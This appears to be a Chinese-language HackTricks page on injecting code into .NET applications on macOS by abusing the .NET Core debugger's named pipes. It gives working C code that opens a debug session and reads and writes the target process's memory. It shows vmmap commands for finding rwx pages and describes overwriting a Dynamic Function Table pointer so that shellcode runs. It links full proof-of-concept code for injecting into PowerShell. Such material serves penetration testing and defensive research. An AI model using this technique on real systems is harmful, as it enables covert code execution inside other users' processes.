# macOS .Net应用程序注入
☁️ HackTricks云 ☁️ -🐦 推特 🐦 - 🎙️ Twitch 🎙️ - 🎥 YouTube 🎥 * 你在一家**网络安全公司**工作吗?你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * 发现我们的独家[NFT收藏品**The PEASS Family**](https://opensea.io/collection/the-peass-family) * 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com) * **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。** * **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
## .NET Core调试 ### **建立调试会话** [**dbgtransportsession.cpp**](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp)负责处理调试器与被调试进程之间的**通信**。\ 它通过调用[dbgtransportsession.cpp#L127](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp#L127)中的[twowaypipe.cpp#L27](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/debug-pal/unix/twowaypipe.cpp#L27)创建每个.Net进程的2个命名管道(一个以**`-in`**结尾,另一个以**`-out`**结尾,其余部分名称相同)。 因此,如果你进入用户的**`$TMPDIR`**目录,你将能够找到用于调试.Net应用程序的**调试FIFO**:
函数[**DbgTransportSession::TransportWorker**](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp#L1259)将处理来自调试器的通信。 调试器需要做的第一件事是**创建一个新的调试会话**。这是通过在`out`管道上发送以`MessageHeader`结构开始的消息来完成的,我们可以从.NET源代码中获取: ```c struct MessageHeader { MessageType m_eType; // Type of message this is DWORD m_cbDataBlock; // Size of data block that immediately follows this header (can be zero) DWORD m_dwId; // Message ID assigned by the sender of this message DWORD m_dwReplyId; // Message ID that this is a reply to (used by messages such as MT_GetDCB) DWORD m_dwLastSeenId; // Message ID last seen by sender (receiver can discard up to here from send queue) DWORD m_dwReserved; // Reserved for future expansion (must be initialized to zero and // never read) union { struct { DWORD m_dwMajorVersion; // Protocol version requested/accepted DWORD m_dwMinorVersion; } VersionInfo; ... } TypeSpecificData; BYTE m_sMustBeZero[8]; } ``` 在新会话请求的情况下,这个结构体的填充方式如下所示: ```c static const DWORD kCurrentMajorVersion = 2; static const DWORD kCurrentMinorVersion = 0; // Set the message type (in this case, we're establishing a session) sSendHeader.m_eType = MT_SessionRequest; // Set the version sSendHeader.TypeSpecificData.VersionInfo.m_dwMajorVersion = kCurrentMajorVersion; sSendHeader.TypeSpecificData.VersionInfo.m_dwMinorVersion = kCurrentMinorVersion; // Finally set the number of bytes which follow this header sSendHeader.m_cbDataBlock = sizeof(SessionRequestData); ``` 构建完成后,我们使用`write`系统调用将其发送给目标。 ```c write(wr, &sSendHeader, sizeof(MessageHeader)); ``` 在发送请求头之后,我们需要发送一个`sessionRequestData`结构体,其中包含一个GUID来标识我们的会话: ```c // All '9' is a GUID.. right?? memset(&sDataBlock.m_sSessionID, 9, sizeof(SessionRequestData)); // Send over the session request data write(wr, &sDataBlock, sizeof(SessionRequestData)); ``` 在发送我们的会话请求后,我们从`out`管道中读取一个标头,该标头将指示我们建立调试器会话的请求是否成功。 ```c read(rd, &sReceiveHeader, sizeof(MessageHeader)); ``` ### 读取内存 通过建立一个调试会话,可以使用消息类型 [`MT_ReadMemory`](https://github.com/dotnet/runtime/blob/f3a45a91441cf938765bafc795cbf4885cad8800/src/coreclr/src/debug/shared/dbgtransportsession.cpp#L1896) 来**读取内存**。要读取一些内存,主要需要的代码如下: ```c bool readMemory(void *addr, int len, unsigned char **output) { *output = (unsigned char *)malloc(len); if (*output == NULL) { return false; } sSendHeader.m_dwId++; // We increment this for each request sSendHeader.m_dwLastSeenId = sReceiveHeader.m_dwId; // This needs to be set to the ID of our previous response sSendHeader.m_dwReplyId = sReceiveHeader.m_dwId; // Similar to above, this indicates which ID we are responding to sSendHeader.m_eType = MT_ReadMemory; // The type of request we are making sSendHeader.TypeSpecificData.MemoryAccess.m_pbLeftSideBuffer = (PBYTE)addr; // Address to read from sSendHeader.TypeSpecificData.MemoryAccess.m_cbLeftSideBuffer = len; // Number of bytes to write sSendHeader.m_cbDataBlock = 0; // Write the header if (write(wr, &sSendHeader, sizeof(sSendHeader)) < 0) { return false; } // Read the response header if (read(rd, &sReceiveHeader, sizeof(sSendHeader)) < 0) { return false; } // Make sure that memory could be read before we attempt to read further if (sReceiveHeader.TypeSpecificData.MemoryAccess.m_hrResult != 0) { return false; } memset(*output, 0, len); // Read the memory from the debugee if (read(rd, *output, sReceiveHeader.m_cbDataBlock) < 0) { return false; } return true; } ``` 证明概念(POC)代码在[这里](https://gist.github.com/xpn/95eefc14918998853f6e0ab48d9f7b0b)找到。 ### 写入内存 ```c bool writeMemory(void *addr, int len, unsigned char *input) { sSendHeader.m_dwId++; // We increment this for each request sSendHeader.m_dwLastSeenId = sReceiveHeader.m_dwId; // This needs to be set to the ID of our previous response sSendHeader.m_dwReplyId = sReceiveHeader.m_dwId; // Similar to above, this indicates which ID we are responding to sSendHeader.m_eType = MT_WriteMemory; // The type of request we are making sSendHeader.TypeSpecificData.MemoryAccess.m_pbLeftSideBuffer = (PBYTE)addr; // Address to write to sSendHeader.TypeSpecificData.MemoryAccess.m_cbLeftSideBuffer = len; // Number of bytes to write sSendHeader.m_cbDataBlock = len; // Write the header if (write(wr, &sSendHeader, sizeof(sSendHeader)) < 0) { return false; } // Write the data if (write(wr, input, len) < 0) { return false; } // Read the response header if (read(rd, &sReceiveHeader, sizeof(sSendHeader)) < 0) { return false; } // Ensure our memory write was successful if (sReceiveHeader.TypeSpecificData.MemoryAccess.m_hrResult != 0) { return false; } return true; } ``` 可以在[这里](https://gist.github.com/xpn/7c3040a7398808747e158a25745380a5)找到用于执行此操作的POC代码。 ### .NET Core代码执行 首先要做的是识别一个具有**`rwx`**权限的内存区域,以保存要运行的shellcode。可以使用以下代码轻松完成此操作: ```bash vmmap -pages [pid] vmmap -pages 35829 | grep "rwx/rwx" ``` 然后,为了触发执行,需要知道存储函数指针的位置以进行覆写。可以在**动态函数表(DFT)**中覆写指针,该表由.NET Core运行时用于提供JIT编译的辅助函数。支持的函数指针列表可以在[`jithelpers.h`](https://github.com/dotnet/runtime/blob/6072e4d3a7a2a1493f514cdf4be75a3d56580e84/src/coreclr/src/inc/jithelpers.h)中找到。 在x64版本中,可以使用类似mimikatz的**签名搜索**技术直接在**`libcorclr.dll`**中搜索对符号**`_hlpDynamicFuncTable`**的引用,并进行解引用:
现在只需要找到一个地址来开始我们的签名搜索。为此,我们利用另一个暴露的调试器函数**`MT_GetDCB`**。它返回目标进程的一些有用信息,但对于我们的情况,我们对返回的一个包含**辅助函数地址**的字段感兴趣,即**`m_helperRemoteStartAddr`**。使用这个地址,我们知道**`libcorclr.dll`在目标进程内存中的位置**,可以开始搜索DFT。 知道了这个地址,就可以用我们的shellcode覆写函数指针。 完整的用于注入到PowerShell的POC代码可以在[这里](https://gist.github.com/xpn/b427998c8b3924ab1d63c89d273734b6)找到。 ## 参考资料 * 此技术来自[https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/](https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/)
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 * 你在一家**网络安全公司**工作吗?想要在HackTricks中**为你的公司做广告**吗?或者想要**获取PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * 发现我们的独家[**NFT收藏品**](https://opensea.io/collection/the-peass-family)——[**The PEASS Family**](https://opensea.io/collection/the-peass-family) * 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com) * **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。** * **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**